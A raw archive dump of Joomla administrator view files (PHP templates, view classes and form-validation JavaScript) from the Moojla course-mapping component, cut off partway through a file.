defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'course_field_mapperTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'course_field_mapperTab', 'details',
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<?php echo
JLayoutHelper::render('course_field_mapper.details_left', $this);
?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'course_field_mapperTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'course_field_mapperTab', 'publishing',
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_PUBLISHING', true));
?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('course_field_mapper.publishing', $this);
?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('course_field_mapper.publlshing', $this);
?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'course_field_mapperTab', 'permissions',
JText::_('COM_MOOJLA_COURSE_FIELD_MAPPER_PERMISSION', true));
?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="course_field_mapper.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/course_field_mapper/tmpl/index.html000064400000000054151165724410014666
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_field_mapper/view.html.php000064400000015667151165724410014363
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Course_field_mapper View class
 */
class MoojlaViewCourse_field_mapper extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo =
MoojlaHelper::getActions('course_field_mapper', $this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COURSE_FIELD_MAPPER_NEW' :
'COM_MOOJLA_COURSE_FIELD_MAPPER_EDIT'), 'pencil-2
article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('course_field_mapper.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('course_field_mapper.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('course_field_mapper.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('course_field_mapper.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('course_field_mapper.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&&
$this->canDo->get('course_field_mapper.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.course_field_mapper',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('course_field_mapper.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('course_field_mapper.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('course_field_mapper');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COURSE_FIELD_MAPPER_NEW' :
'COM_MOOJLA_COURSE_FIELD_MAPPER_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_field_mapper.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/course_field_mapper/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/course_group_map/submitbutton.js000064400000002755151165724410014366
0ustar00/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		submitbutton.js
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

Joomla.submitbutton = function(task)
{
	if (task == ''){
		return false;
	} else { 
		var action = task.split('.');
		if (action[1] == 'cancel' || action[1] == 'close' ||
document.formvalidator.isValid(document.getElementById("adminForm"))){
			Joomla.submitform(task, document.getElementById("adminForm"));
			return true;
		} else {
			alert(Joomla.JText._('course_group_map, some values are not
acceptable.','Some values are unacceptable'));
			return false;
		}
	}
}views/course_group_map/tmpl/edit.php000064400000011470151165724410013675
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		edit.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html');
JHtml::_('behavior.tooltip');
JHtml::_('behavior.formvalidation');
JHtml::_('formbehavior.chosen', 'select');
JHtml::_('behavior.keepalive');
$componentParams = $this->params; // will be removed just use
$this->params instead
?>
<script type="text/javascript">
	// waiting spinner
	var outerDiv = jQuery('body');
	jQuery('<div id="loading"></div>')
		.css("background", "rgba(255, 255, 255, .8)
url('components/com_moojla/assets/images/import.gif') 50% 15%
no-repeat")
		.css("top", outerDiv.position().top -
jQuery(window).scrollTop())
		.css("left", outerDiv.position().left -
jQuery(window).scrollLeft())
		.css("width", outerDiv.width())
		.css("height", outerDiv.height())
		.css("position", "fixed")
		.css("opacity", "0.80")
		.css("-ms-filter",
"progid:DXImageTransform.Microsoft.Alpha(Opacity = 80)")
		.css("filter", "alpha(opacity = 80)")
		.css("display", "none")
		.appendTo(outerDiv);
	jQuery('#loading').show();
	// when page is ready remove and show
	jQuery(window).load(function() {
		jQuery('#moojla_loader').fadeIn('fast');
		jQuery('#loading').hide();
	});
</script>
<div id="moojla_loader" style="display: none;">
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&layout=edit&id='.
(int) $this->item->id . $this->referral); ?>"
method="post" name="adminForm" id="adminForm"
class="form-validate" enctype="multipart/form-data">

<div class="form-horizontal">

	<?php echo JHtml::_('bootstrap.startTabSet',
'course_group_mapTab', array('active' =>
'details')); ?>

	<?php echo JHtml::_('bootstrap.addTab',
'course_group_mapTab', 'details',
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_DETAILS', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('course_group_map.details_left', $this);
?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('course_group_map.details_right', $this);
?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>

	<?php $this->ignore_fieldsets =
array('details','metadata','vdmmetadata','accesscontrol');
?>
	<?php $this->tab_name = 'course_group_mapTab'; ?>
	<?php echo JLayoutHelper::render('joomla.edit.params',
$this); ?>

	<?php if ($this->canDo->get('core.edit.created_by') ||
$this->canDo->get('core.edit.created') ||
$this->canDo->get('core.edit.state') ||
($this->canDo->get('core.delete') &&
$this->canDo->get('core.edit.state'))) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'course_group_mapTab', 'publishing',
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_PUBLISHING', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span6">
				<?php echo
JLayoutHelper::render('course_group_map.publishing', $this);
?>
			</div>
			<div class="span6">
				<?php echo
JLayoutHelper::render('course_group_map.publlshing', $this);
?>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php if ($this->canDo->get('core.admin')) : ?>
	<?php echo JHtml::_('bootstrap.addTab',
'course_group_mapTab', 'permissions',
JText::_('COM_MOOJLA_COURSE_GROUP_MAP_PERMISSION', true)); ?>
		<div class="row-fluid form-horizontal-desktop">
			<div class="span12">
				<fieldset class="adminform">
					<div class="adminformlist">
					<?php foreach
($this->form->getFieldset('accesscontrol') as $field):
?>
						<div>
							<?php echo $field->label; echo $field->input;?>
						</div>
						<div class="clearfix"></div>
					<?php endforeach; ?>
					</div>
				</fieldset>
			</div>
		</div>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
	<?php endif; ?>

	<?php echo JHtml::_('bootstrap.endTabSet'); ?>

	<div>
		<input type="hidden" name="task"
value="course_group_map.edit" />
		<?php echo JHtml::_('form.token'); ?>
	</div>
</div>
</form>
</div>
views/course_group_map/tmpl/index.html000064400000000054151165724410014230
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_group_map/view.html.php000064400000015554151165724410013720
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		view.html.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

/**
 * Course_group_map View class
 */
class MoojlaViewCourse_group_map extends JViewLegacy
{
	/**
	 * display method of View
	 * @return void
	 */
	public function display($tpl = null)
	{
		// set params
		$this->params = JComponentHelper::getParams('com_moojla');
		// Assign the variables
		$this->form = $this->get('Form');
		$this->item = $this->get('Item');
		$this->script = $this->get('Script');
		$this->state = $this->get('State');
		// get action permissions
		$this->canDo = MoojlaHelper::getActions('course_group_map',
$this->item);
		// get input
		$jinput = JFactory::getApplication()->input;
		$this->ref = $jinput->get('ref', 0, 'word');
		$this->refid = $jinput->get('refid', 0, 'int');
		$return = $jinput->get('return', null, 'base64');
		// set the referral string
		$this->referral = '';
		if ($this->refid && $this->ref)
		{
			// return to the item that referred to this item
			$this->referral = '&ref=' . (string)$this->ref .
'&refid=' . (int)$this->refid;
		}
		elseif($this->ref)
		{
			// return to the list view that referred to this item
			$this->referral = '&ref=' . (string)$this->ref;
		}
		// check return value
		if (!is_null($return))
		{
			// add the return value
			$this->referral .= '&return=' . (string)$return;
		}

		// Set the toolbar
		$this->addToolBar();
		
		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// Display the template
		parent::display($tpl);

		// Set the document
		$this->setDocument();
	}


	/**
	 * Setting the toolbar
	 */
	protected function addToolBar()
	{
		JFactory::getApplication()->input->set('hidemainmenu',
true);
		$user = JFactory::getUser();
		$userId	= $user->id;
		$isNew = $this->item->id == 0;

		JToolbarHelper::title( JText::_($isNew ?
'COM_MOOJLA_COURSE_GROUP_MAP_NEW' :
'COM_MOOJLA_COURSE_GROUP_MAP_EDIT'), 'pencil-2
article-add');
		// Built the actions for new and existing records.
		if (MoojlaHelper::checkString($this->referral))
		{
			if ($this->canDo->get('core.create') && $isNew)
			{
				// We can create the record.
				JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
			}
			elseif ($this->canDo->get('core.edit'))
			{
				// We can save the record.
				JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
			}
			if ($isNew)
			{
				// Do not creat but cancel.
				JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				// We can close it.
				JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		else
		{
			if ($isNew)
			{
				// For new records, check the create permission.
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::apply('course_group_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
					JToolBarHelper::custom('course_group_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
				};
				JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CANCEL');
			}
			else
			{
				if ($this->canDo->get('core.edit'))
				{
					// We can save the new record
					JToolBarHelper::apply('course_group_map.apply',
'JTOOLBAR_APPLY');
					JToolBarHelper::save('course_group_map.save',
'JTOOLBAR_SAVE');
					// We can save this record, but check the create permission to see
					// if we can return to make a new one.
					if ($this->canDo->get('core.create'))
					{
						JToolBarHelper::custom('course_group_map.save2new',
'save-new.png', 'save-new_f2.png',
'JTOOLBAR_SAVE_AND_NEW', false);
					}
				}
				$canVersion = ($this->canDo->get('core.version')
&& $this->canDo->get('course_group_map.version'));
				if ($this->state->params->get('save_history', 1)
&& $this->canDo->get('core.edit') &&
$canVersion)
				{
					JToolbarHelper::versions('com_moojla.course_group_map',
$this->item->id);
				}
				if ($this->canDo->get('core.create'))
				{
					JToolBarHelper::custom('course_group_map.save2copy',
'save-copy.png', 'save-copy_f2.png',
'JTOOLBAR_SAVE_AS_COPY', false);
				}
				JToolBarHelper::cancel('course_group_map.cancel',
'JTOOLBAR_CLOSE');
			}
		}
		JToolbarHelper::divider();
		// set help url for this view if found
		$help_url = MoojlaHelper::getHelpUrl('course_group_map');
		if (MoojlaHelper::checkString($help_url))
		{
			JToolbarHelper::help('COM_MOOJLA_HELP_MANAGER', false,
$help_url);
		}
	}

	/**
	 * Escapes a value for output in a view script.
	 *
	 * @param   mixed  $var  The output to escape.
	 *
	 * @return  mixed  The escaped value.
	 */
	public function escape($var)
	{
		if(strlen($var) > 30)
		{
    		// use the helper htmlEscape method instead and shorten the string
			return MoojlaHelper::htmlEscape($var, $this->_charset, true, 30);
		}
		// use the helper htmlEscape method instead.
		return MoojlaHelper::htmlEscape($var, $this->_charset);
	}

	/**
	 * Method to set up the document properties
	 *
	 * @return void
	 */
	protected function setDocument()
	{
		$isNew = ($this->item->id < 1);
		if (!isset($this->document))
		{
			$this->document = JFactory::getDocument();
		}
		$this->document->setTitle(JText::_($isNew ?
'COM_MOOJLA_COURSE_GROUP_MAP_NEW' :
'COM_MOOJLA_COURSE_GROUP_MAP_EDIT'));
		$this->document->addStyleSheet(JURI::root() .
"administrator/components/com_moojla/assets/css/course_group_map.css",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') : 'text/css');
		$this->document->addScript(JURI::root() . $this->script,
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript');
		$this->document->addScript(JURI::root() .
"administrator/components/com_moojla/views/course_group_map/submitbutton.js",
(MoojlaHelper::jVersion()->isCompatible('3.8.0')) ?
array('version' => 'auto') :
'text/javascript'); 
		JText::script('view not acceptable. Error');
	}
}
views/course_group_maps/index.html000064400000000054151165724410013437
0ustar00<html><body
bgcolor="#FFFFFF"></body></html>views/course_group_maps/tmpl/default.php000064400000006053151165724410014560
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

JHtml::_('behavior.tooltip');
JHtml::_('behavior.multiselect');
JHtml::_('dropdown.init');
JHtml::_('formbehavior.chosen',
'.multipleCoursegroupmapsfilterrole', null,
array('placeholder_text_multiple' => '- ' .
JText::_('COM_MOOJLA_FILTER_SELECT_ROLE') . ' -'));
JHtml::_('formbehavior.chosen', 'select');
if ($this->saveOrder)
{
	$saveOrderingUrl =
'index.php?option=com_moojla&task=course_group_maps.saveOrderAjax&tmpl=component';
	JHtml::_('sortablelist.sortable',
'course_group_mapList', 'adminForm',
strtolower($this->listDirn), $saveOrderingUrl);
}
?>
<form action="<?php echo
JRoute::_('index.php?option=com_moojla&view=course_group_maps');
?>" method="post" name="adminForm"
id="adminForm">
<?php if(!empty( $this->sidebar)): ?>
	<div id="j-sidebar-container" class="span2">
		<?php echo $this->sidebar; ?>
	</div>
	<div id="j-main-container" class="span10">
<?php else : ?>
	<div id="j-main-container">
<?php endif; ?>
<?php
	// Add the searchtools
	echo JLayoutHelper::render('joomla.searchtools.default',
array('view' => $this));
?>
<?php if (empty($this->items)): ?>
	<div class="alert alert-no-items">
		<?php echo JText::_('JGLOBAL_NO_MATCHING_RESULTS'); ?>
	</div>
<?php else : ?>
	<table class="table table-striped"
id="course_group_mapList">
		<thead><?php echo
$this->loadTemplate('head');?></thead>
		<tfoot><?php echo
$this->loadTemplate('foot');?></tfoot>
		<tbody><?php echo
$this->loadTemplate('body');?></tbody>
	</table>
	<?php // Load the batch processing form. ?>
	<?php if ($this->canCreate && $this->canEdit) : ?>
		<?php echo JHtml::_(
			'bootstrap.renderModal',
			'collapseModal',
			array(
				'title' =>
JText::_('COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_OPTIONS'),
				'footer' =>
$this->loadTemplate('batch_footer')
			),
			$this->loadTemplate('batch_body')
		); ?>
	<?php endif; ?>
	<input type="hidden" name="boxchecked"
value="0" />
	</div>
<?php endif; ?>
	<input type="hidden" name="task" value=""
/>
	<?php echo JHtml::_('form.token'); ?>
</form>
views/course_group_maps/tmpl/default_batch_body.php000064400000002344151165724410016735
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>

<p><?php echo
JText::_('COM_MOOJLA_COURSE_GROUP_MAPS_BATCH_TIP');
?></p>
<?php echo $this->batchDisplay;
?>views/course_group_maps/tmpl/default_batch_footer.php000064400000002742151165724410017300
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_batch_footer.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
http://www.gnu.org/licenses/gpl-2.0.html
  ____  _____  _____  __  __  __      __       ___  _____  __  __  ____ 
_____  _  _  ____  _  _  ____ 
 (_  _)(  _  )(  _  )(  \/  )(  )    /__\     / __)(  _  )(  \/  )(  _ \( 
_  )( \( )( ___)( \( )(_  _)
.-_)(   )(_)(  )(_)(  )    (  )(__  /(__)\   ( (__  )(_)(  )    (  )___/
)(_)(  )  (  )__)  )  (   )(  
\____) (_____)(_____)(_/\/\_)(____)(__)(__)   \___)(_____)(_/\/\_)(__) 
(_____)(_)\_)(____)(_)\_) (__) 

/------------------------------------------------------------------------------------------------------*/

// No direct access to this file
defined('_JEXEC') or die('Restricted access');

?>
<!-- clear the batch values if cancel -->
<button class="btn" type="button"
onclick="" data-dismiss="modal">
	<?php echo JText::_('JCANCEL'); ?>
</button>
<!-- post the batch values if process -->
<button class="btn btn-success" type="submit"
onclick="Joomla.submitbutton('course_group_map.batch');">
	<?php echo JText::_('JGLOBAL_BATCH_PROCESS'); ?>
</button>views/course_group_maps/tmpl/default_body.php000064400000007475151165724410015606
0ustar00<?php
/*----------------------------------------------------------------------------------|
 www.vdm.io  |----/
				Lmskaran 
/-------------------------------------------------------------------------------------------------------/

	@version		1.0.77
	@build			6th April, 2022
	@created		22nd July, 2020
	@package		Moojla
	@subpackage		default_body.php
	@author			Lmskaran <http://Lmskaran.com>	
	@copyright		Copyright (C) 2015. All Rights Reserved
	@license		GNU/GPL Version 2 or later -
